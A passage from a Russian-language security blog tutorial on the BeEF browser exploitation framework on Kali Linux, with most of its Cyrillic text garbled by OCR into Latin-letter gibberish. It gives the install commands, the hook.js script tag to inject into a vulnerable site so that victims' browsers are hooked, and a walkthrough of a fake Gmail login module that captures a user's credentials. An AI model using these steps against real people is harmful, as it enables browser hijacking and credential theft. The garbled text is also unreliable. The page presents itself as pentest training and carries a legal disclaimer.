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B aTom pykoBopgcTBe Mbl ByaeM NpuMeHsATb Kak B3nom “BEeF”, Tak n coumanbHyto

NHXXEHEPUIO /151 KPAXKM YYETHBIX AaHHbIX 13 6pay3epa Hallen Lenu.
Banom “yenoeek B 6paysepe” o4eHb TPYAHO OB6HAPYXXUTb, MOCKOSbKY 3/10yMbILLIEHHUK
MacKuMpyeTca nog 06bI4HOro 1M NPOBEPEHHOMO NONBL30BaTENSA, YTOObI NOAYYUTb

nHdopmaumto ntobbiM cnocobom (0T NoNb30BaTENS U OT CepBepa).

Xakep cnguT B cepeanHe KaHana CBsa3un MeXay cepBepOM 1 NoJib3o0BaTesieEM cauTa.

CopepxxaHue ~
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1. KpaTkoe BBegeHve B BEeF
2. LWlar 1: YctaHoBka BEeF
3. LWar 2: 3anyck beef
4. LWar 3: 3axsat uenesoro Beb-6pay3sepa
5. LWWar 4: BeinosiHeHe KOMaHp, B 6pay3epe »epTBbl

6. Lar 5: 3anyck coumanbHO-NHXEHEPHOW aTaku

KpaTkoe BBeneHve B BEeF

Cnoso BEeF o3HavaeTt Browser Exploitation Framework.

OH ncnonb3yeT BEKTOPbI aTak Ha CTOPOHE KIIMEHTa AN OLLEHKN YPOBHS 6€30MacHOCTH
Leneson cpenpl.

B3nom BEeF nogpasymeBaeT noakitoveHne OAHOro NN HECKOMbKNX BeO-6pay3epoB n
NCNONb30BaHNe NX 1S 3anycka KOMaHOHbIX MoAyern Ans aTaku Ha LieNneByto CUCTEMY B

KOHTEKCTe bpay3aepa.

Kaxxgpin 6pay3ep MOXET MMETb CBON HABOP BEKTOPOB aTak, MOCKOSbKY KaXkabI U3 HUX

HaxoanTCAa B Pa3JINYHbIX KOHTEKCTaX 6e3onacHoCTW.

LLlar 1: YctaHoBKa BEeF

BEeF He npepycTaHasnueaeTcs Ha HoBble Bepcun Kali Linux (HavmHasa ¢ sepcumn 2019.3), HO

ecnu Bbl 06HOBUTE CcTapyto Bepcuto Kali Linux, Bbl He noTepsieTe hpenmeopk BEeF.

Ho Bbl gomkHbl y6eanTbes, 4To ncnonbadyete “beef-xss” gns 3anycka pernmBopKa, a He

“beef”, Kak aTO 6b110 B NpenbIayLLE BEPCUN.

OpHako, ecnun BEeF 6bin npeaycTaHOBNEH paHee 1M BaM HY>XHO YCTaHOBUTb €ro,n KomaHaa

YCTAHOBKWN HE UBMEHUTCHA.

sudo apt install beef-xss
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install beef-xss
YTewMe CNMCKOB naxKeTog.. MoToBO
”U-’...'[)UE'HHE' AEpeBa 3dBHCHMOCTEMN.. foToBo
UTeHWe WHHOPMALWM O COCTORHMM.. MTOTOBO
Cnegyownid NnakeT yCTaHABNMBANCA asToMmaTuuecku W Bonbwe He TpebyeTch:
libfuse3-3
OnA ero yganeHWA MCcnonb3yWTe «sudo apt autoremoves.
Cnegywwme nakeTol GyayT o6HOBNEHbI:
beef-xss
OfHoBNEHO 1 MAKEeTOB, YCTAHOBNEHO @ HOBLIX MAaKeToB, ANA YAaNeHWA OTMeueHo @ nakeToB, W 829 nakeToe He o6HOBNEHO.
Heobxogumo ckauaTbh 3 492 kB apxweos.
Mocne gaWHoW onepauwm obbém 3aHATOr0 AWCKOBOrO NPOCTPAHCTBA YMEHbLWHWTCA Ha 9604 KB.
Non:1 http://mirror-1.truenetwork.ru/kali kali-rolling/main amd64 beef-xss all @.5.3.0-0kalil [3 492 kB]
Monyueno 3492 kB za 2c (1754 kB/s)
(YTenwe Gazbl QaHHBIX .. HA [JaHHHIA MOMEHT YCTaHoBNeWo 329830 daWnoe W KaTanoros. )
MoaroToBka K pacnakoeke ../beef-xss_0.5.3.0-08kalil_all.deb ..
PacnakoeweaeTcA beef-xss (0.5.3.0-8kalil) wa 3ameny (0.5.0.0+git20191218-0kaliz) ..
HacTtpameaetca nakeT beef-xss (0.5.3.0-0kalil) .
YCTaHaBNWBaeTCA HOBAA BEpCHA daWna HacTpolkw Sfetc/beef-xss/config.yaml ..
beef-xss.service is a disabled or a static unit not running, not starting it.
" 2

LLlar 2: 3anyck beef

Mocne yctaHoBku BEef Mbl nepexognm Ko BTOpoMy Liary — 3anycky ppenmMmBopka, 4Tobbl
NoSy4nTb OOCTYN K NONb30BaTENIbCKOMY MHTEPMENCY 1 NONYYMUTb XYK, HEOOXOANMbIN ANS

aTaKn Ha Hally XXepTBY

You are using the

(Password must be different from "beef")

Please type a new password for the beef user:

(Password must be different from "beef")

Please type a new password for the beef user:

GeoIP database is missing

Run geoipupdate to download / update Maxmind GeoIP database
Please wait for the BeEF service to start.

You might need to refresh your browser once it opens.

Hook: <script src="http://<IP>:3000/hook.js"></script>
Example: <script src="http://127.0.0.1:3000/hook.js"></script>

%

]
]
]
]
] Web UI: http://127.0.0.1:3000/ui/panel
]
]

beef-xss.service - beef-xss
Loaded: loaded (/lib/systemd/system/beef-xss.service; disabled; vendor preset: disabled)
Active: active (running) since Wed 2021-11-10 ©7:14:27 EST; 5s ago
Main PID: 3352 (ruby)
Tasks: 10 (limit: 19124)
Memory: 181.9M
CPU: 4.BB4s
CGroup: /system.slice/beef-xss.service
r—3352 ruby Jusr/share/beef-xss/beef
“—3363 nodejs /tmp/execjs2@8211118-3352-d4z1ht]js

10 87:14:30 io0s21u3 beef[3352]: 23 CreatelpecExploitRun: migrated (@.0005s)
10 :14:3@ ios21u3 beef[3352]: 24 CreateAutoloader: migrating
10 97:14:30 ios21u3 beef[3352]: create_table( :autoloaders)
HOA 10 07:14:3@ ios21u3 beef[3352]: - 0.0008s
HOR 7:14:30 ios21u3 beef[3352]: 24 CreateAutoloader: migrated (0.00085)
HOA 10 B87:14:30 ios21u3 beef[3352]: = 25 CreateXssraysScan: migrating =—mm—————
HOA 10 07:14:30 ios21ul beef[3352]: create_table( :xssraysscans)
HoA 10 07:14:30 ios21ul beef[3352]: — 0.0009s
HOA 10 07:14:30 ios21u3 beef[3352]: 25 CreateXssraysScan: migrated (9.0009s)
HoA 10 ©7:14:30 ios21u3 beef[3352]: [ 7:14:308][*] BeEF is loading. Wait a few seconds ...
Hint: Some lines were ellipsized, use -1 to show in full.

[*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5...
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Web Ul - aTo agpec ccbifikn, C KOTOPOW Bbl MOSly4nUTE AOCTYN K NOSIb30BATENIbCKOW NaHesm
dpenmsopka beef n web-hook — a1o ckpunT JavaScript, KOTOpbI BaM HY>XHO BCTaBuUTb Ha

YyA3BUMbI CalT, 4TOObI 3auennTb 6pay3ep Ballen >xepTBbl B beef.

@ NMPNMEHAHUE:

Maponb BEeF no ymonyanuio n nms nonbdosatens — “beef:beef”.

99 Ecnu Bbl yKazanu NapoJsib Npu yCTaHOBKE, UCMONb3YiTe ero!

Beb-nHTepdenc omkeH BbIrMAQeTb Tak, Kak NoKasaHo HUXe:

=eEF

Authentication

Username: beef

Password: sase

ERROR: invalid usermame or password

Login

lNocne Bxopa B CnCTEMY Mbl NoNagaemM Ha CTpaHN4Ky, KOTopas BblAOUT TaK, Kak NnokKa3aHo

H>XKe.

TyT MOXXHO yBUAETL Bpay3epbl Kak OHMalH, Tak 1 odnaniH.
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GOOGLE g
CHROME =

www.itsecforu.ru

() YctaHoBUM nocneaHuin 6paysep Google Chrome Ha
Kali Linux

Bbl mbiTaeTeck yctaHoBUTL Google Chrome Ha Kali Linux 2020.x / 2019.x ? Google
Chrome — oanH 13 cambix MONYNAPHbIX COBPEMEHHbIX Be6-6pay3epoB, AOCTYMNHbIX ANS
ycTpowicTs Linux, macOS, Windows n Android. bpaysep Chrome pa3paboTaH bbicTpbIM,
WHTYUTVBHO NMOHATHbIM 1 6e30nacHbIM /18 BCeX MOTpebHOCTen npocmoTpa Beb
cTpaHuL. MNakeTbl ans Google Chrome He fAoCTynHbI HaNpPsAMyHo B 60NbLUVHCTBE
peno3nTopues AncTpmnbyTmeos Linux. ... Yntatb ganee

y $ information Security Squad 0
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le Chrome He aBnseTca bpayse no ymonuanuto. | Coenats GpaysepoM no yMon4aHuio

Hooked Browsers.
4 (=) Online Browsers
4 {7 localhost

@ A4S 7127001
_] Offiine Browsers

# BeEr 0530 | Submit Bug | Logout

Getting Started %/ Logs Zombies

=eEF

THE BREOWEBER EXPLOITATION FRAMEWORK PRAOJECT

Official website: hitp.fbeefproject.com/

Getting Started
Welcome ta BeEF!

Before being able to fully explore the framework you will have to 'hook' a browser. To begin with you
can point a browser iowards the basic demo page here, or the advanced version here

If you want to hook ANY page (for debugging reasons of course), drag the following bookmarkiet link
into your browser's bookmark bar, then simply click the shortcut on another page: Hook Me!

After a browser is hooked into the framework they will appear in the "Hooked Browsers' panel on the
left. Hooked browsers will appear in either an online or offline state, depending on how recently they
hawve polled the framework.

Hooked Browsers

To interact with a hooked browser simply left-click it. a new tab will appear. Each hooked browser tab
has a number of sub-tabs, described below:

Details: Display information about the hooked browser after you've run some command modules,
Logs: Displays recent log entries related to this particular hooked browser,

Commands: This tab is where modules can be executed against the hooked browser. This is
where most of the BeEF functionality resides. Most command modules consist of Javascript code
that is executed against the selected Hooked Browser. Command modules are able to perform any
actions that can be achieved through Javascript: for example they may gather information about the
Hooked Browser, manipulate the DOM or perform other activities such as exploiting vulnerabilities
within the local network of the Hooked Browser.

Each command module has a traffic light icon, which is used to indicate the following
The command module works against the target and should be invisible to the user
W' The command module works against the target, but may be visible to the user

The command modsle = wet tn he uerified ansine this tarnet

LLIar 3: 3axBaT uenesoro sBeb-6paysepa

[Nocne Toro Kak Mbl BOLLN B MNONb30BaTENbCKUIN |/|HTep(be|7|c, HaM HY>XHO CO34aTb XYyK, C

MOMOLLbIO KOTOPOIro Mbl CMOXXEM aTaKOBaTb XepPTBY.

PpenmBopK BeefnpenycmartpmsaeT Hannyne gemo-cainta, 4OCTYN K KOTOPOMY MOXXHO

MoNy4nuTb MO CCblNKe

http://127.0.0.1:3000/demos/basic.html

LLIar 4: BeinonHeHne koMmaHp, B 6pay3epe »epTBbl

Terlepb Mbl MO>XEM BbIMOHATE MHOMOYMNCIEHHbIE KOMaHAbI, YTOObI CO6paTb Ba>KHYHO

NHOpPMaLMIo, KOTOpasi MOXKET HaMm NOHaAobUTLCS 13 Bpay3epa XKepTBbl. HEKOTOPbIE U3

BO3MOXXHOCTEN, AOCTYMNHbIX B beef nokasaHbl HUXe.
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Hooked Browsers
4 = Online Browsers
4 (] localhost
@ 3 % 7127001
_] Offine Browsers
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Getting Started X/l Logs
Details Logs Commands
Module Tree

rarch
|__] Browser (57)
- [_] Chrome Extensions (6)
> [ Debug (9)
- 27 Exploits {109)
+ [0 Host (24)
IPEC (9)
| Metaspioit (1)
[ Misc (20)
| Network (22)
|__] Persistence (9)
- | Phonegap (16)
+ =] Social Engineering (24)

Zombies
Proxy XssRays Metwork
Module Results History
id « date label

Current Browser

Kak Bbl BUauTe, y Hac ectb 6onee 100 komaHg, KOTOPbIE Mbl MOXKEM MCMOMNb30BaTh Ha

B6paysepe XXepTB.bl.

LLar 5: 3anyck coynanbHO-UHXEHEPHOM aTaku

B 3TOM pyKOBOACTBE Mbl NOMbITAEMCS MPOBECTU COLMAaNbHO-UHXXEHEPHYIO aTaky Ha Hally

XKepTBY C UENbIO NoNy4eHNA OaHHbIX A4 BXOOa B CUCTEMY. HAM HY>XHO TOJ1IbKO Bbl6paTb

HY>XHYHO KOMaHAy U BbINOJIHUTb €€.

Search
|__] Chrome Extensions (6)
+ |1 Debug (9)
> [ Exploits (109)
+ [ZJHost (24)
- [_JIPEC (9)
] Metasploit (1)
] Misc (20)
[ Network (22)
] Persistence (9)
| Phonegap (16)
4 ] Social Engineering (24)
_ Text to Voice
@ Clickjacking
@ Clippy
@ Fake Evernote Web Clipper Login
@ Fake Flash Update
@ Fake LastPass
@ Fake Notification Bar
& Fake Noiffication Bar (Chrome)
@ Fake Moiffication Bar (Firefox)
gkt MNOLMCANON D y
& Google Phishing
@ Lcamtuf Download
& Fretly e
@ Replace Videos (Fake Plugin)
@ Simple Hijackes
@ Spoof Address Bar (data URL)
& TabNabbing

https://itsecforu.ru/2021/11/10/ £& -pyKoBOACTBO-NO-PpeiMBOPKY-AnsS-B3no/

Description:

Id:

XSS hook URI

Gmail logout
interval (ms):

Redirect delay
(ms):

This plugin uses an image tag o
XSRF the logout buiton of Gmail.
Continuously the user is logged
out of Gmail (eg. if he is logged in
in another tab). Addiionally it will
show the Google favicon and a
Gmail phishing page (although
the URL is NOT the Gmail URL).

155

http://0.0,0.0:30
10000

1000

712
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Mbl nony4ynM gaHHble Ons BXoaa B CUCTEMY gmall nonb3oBartesis.

Korga mbl BbINOSIHUM KOMaHAy, XXepTBa byaeT nepeHanpasfieHa Ha Be6-CTpaHuLyy, NoXoXyHo
Ha CcTpaHuLly Bxopa B cuctemy google, roe TpebyeTcst BBECTU MMsi NOSIb30BaTesst U Naposib,

KaK noka3aHO HMXXe.

<« = C i) localhost

Google New o Gange i

Google Mall

A Google approach to email. Sign in
Google Mail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even 1o ©
fun. After all, Google Malil has:

= Lots of space Password
Over 2757.272164 megabytes (and counting) of free storage

Less spam
Keep unwanted messages out of your inbox. m Siay signed

Mobile access Can't access your account?

Get Google Mail on your mobile phone. Learn more

About Google Mail  New features!  Switch to Google Mail  Create an account

Love Google Mail, but looking for a custom email address for your company?
Get business email, calendar, and online docs @your_company.com. Learn more

, Take Google Mail to work with Google Apps for Business

Kak TonbKOo nosib3oBatesib BBEAET CBOE NMS NONb30BAaTENS U naposib, Mbl CMOXXEM

NPOCMOTPETL €ro NPSIMO 13 Hawero ppenmMeopKa (CM. N306paKeEHNE HNXKE).

[Nocne Toro Kak nosb3oBaTteslb HAXKMET Ha KHOMKY BXoAda, OH 6y,u,eT nepeHaripasJieH Ha

oduymanbHyo ctpaHuuy Bxoga B Google.

OTO Nomoraet caenartb ataky 6o51ee CKPbITHOM.
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% BecF 0530 | Submit Bug | Logout

Hooked Browsers
4 (] Online Browsers

Logs Zombies

Current Browser

A etails | Logs
® A€ 7127001 z )

Commands Proxy XssRays Network
4 {33 Offline Browsers Module Tree Module Results History Command results

4 5 localhost
. ¢ i... date labe !
@ D% 7127001

Wed Nov 10 2021 09:25:49 GMT-0500 (BocTouHan AMEDWKA, CTAHS

[_] Chrome Extensions (6) a0 202111 comma... d li=Usemame: tuki-tuki Password: puki-puld
(C Debug (9) 100924 1
(] Excploits (109)
£ Host (24)
CJIPEC (9)
] Metasploit (1)

_] Misc (20)

] Network (22)

_| Persistence (9)
__ Phonegap (16)
4 () Social Engineering (24)
Text to Voice
@ Clickjacking
@ Clippy
@ Fake Evernote Web Clipper Login
@ Fake Flash Update
@ Fake LastPass
§ Fake Motification Bar
@ Fake Natification Bar (Chrome)
@ Fake Matification Bar (Firefox)

Flen Rlsifinntinn Dar AFL

Tenepb y Hac eCTb UMS1 NOJSIb30BATENS U NAPOJib 3NEKTPOHHOWN MOYTHI.

Beef Takxe gencTeyeT Kak NpoasuHyTbIA Kennorrep n cnocobeH cobnpartb K4m, Ha
KOTOpbIE HaXXK1UMarna »epTBa BO BPeEMs MCMNOb30BaHMA 6pay3epa, 4YTo AenaeT ero ewe 6onee

OrnacHbIM.

\_(V)_/ Mpumeyarune: Hdopmaums ona nccnenoBaHus, 06ydeHust nam
@ nposeneHns ayauta. NpumMeHeHe B KOPbICTHbIX LIENSIX KapaeTcs

3akoHogatenbctsom PO.

#Kali linux #pentest #phishing #web security

Moxxanyncrta, He crnamMmbTe U HAKOIoO HE OCKopbnanTe. 3TO nose ansa KOMMEHTapUeEB, a He
cnambokc. PeknamMHble CCbIfIKM HE nHAEKCupytoTcs!

[Ao6aBnTb KOMMEHTapumn

Nms

Email
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Cant

KommeHTapui

Bam Tak)xe moxeT NMOHPaBUTbCHA

i SCRIPT
</>

www.itsecforu.ru

JIOKYMEHTALIW B BASH

() Kak BcTpamBaTb AOKYMEHTauuo B @ Apache: 3anpeT goctyna k URL,
cKpunTbl Bash c¢annam n Katanoram
LOKyMeHTUpOBaHne paboTbl NPUIOXKEHWS], Ero Apache HTTP Server, 4acto HasbiBaeMblli
HasHa4eHns npocto Apache

(] [0

) 4 4

www.itsecforu.ru www.itsecforu.ru

CECCMA ROOT [IPABA HA TPYNINY
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() Kak yBennunTb npoaomXKUTenbHOCTb
ceaHca Sudo Ha Linux

Mpu paboTe ¢ onepaumoHHOM cuctemon Linux
OLHUM M3 MOLLIHbIX

D0

wiww.itsecforu.ru

XAPJIEPUHI NGINX

@ Kak paspelwmtb B Nginx Tonbko
metoabl GET n POST

B mupe ynpasneHus Be6-cepeepamu
CYLLIECTBYET MHOXXECTBO

20

B

www.itsecforu.ru

BE30MACHO YAANAEM GAWNDI

() Kak yganutb orpomHble (100-200 I'B)
c¢hannbl Ha Linux

B obnacTtu TepMuHanbHbix onepauun Linux B
HalleM pacnopsi>XeHuu

(]

https://itsecforu.ru/2021/11/10/ £& -pyKoBOACTBO-NO-PpeiMBOPKY-AnsS-B3no/
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() Kak paspewmTb unu 3anpetuTb
poctyn K Sudo ansa rpynnbl Ha Linux

Sudo (Superuser Do) — 3TO MOLLUHbIA UHCTPYMEHT

o

& g

wiwnw.itsecforu.ru

KACTOMHbIM 3KPAH BIOKA

U Kak nameHutb (hoH aKpaHa
6nokmnpoBku Ha Kali Linux XFCE

Linux — 370 MOLLHAsa cuctemMa C OTKPbITbIM
NCXOOHbIM

20

wwwiitsecforu.ru

OPENVPN B DOCKER

@ 3anyck OpenVPN-cepBsepa ogHom
komaHgown Docker

OpenVPN Community Edition (CE) — ato npoekTt
BUPTYasnbHON

(]
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Ceexwue KOMMEeHTapumn

BukTop K 3anucu XKak 3a610KMpoBaTh KNaBmaTypy_ 1 Mbillb, HO He 3KpaH B Linux X
BukTop K 3anncu X Kak 3a6nokrpoBaTh KnaBmaTtypy 1 Mbillb, HO He 3KpaH B Linux X

BukTop Kk 3anucu XKak 3a610KMpoBaTh KNaBuaTypy 1 Mbillb, HO HEe 3KRaH B Linux X
cryptoparty k 3anncu ¥ _Conky — MUHCTRYMEHT CUCTEMHOIrO MOHUTOPUHrA Linux

Salihov K 3anucu Conky — MHCTRYMEHT CUCTEMHOIO MOHUTORPMHIA Linux

CBeXxue 3anucu

() _Kak BcTpavBaTb AOKYMEHTALMIO B CKPUMTLL Bash

YTedka Microsoft packpbina cekpeTtHble diyHkLmn Windows 11
PemoHT HoyT6yKa Asus B CaHkT-lNeTepbypre

@ _Apache: 3anpet goctyna k URL, haiinam n katanoram

PeiTvHr 6bITOBOW TEXHUKIK TEXHO rang,

MopennTtbecs

. 4
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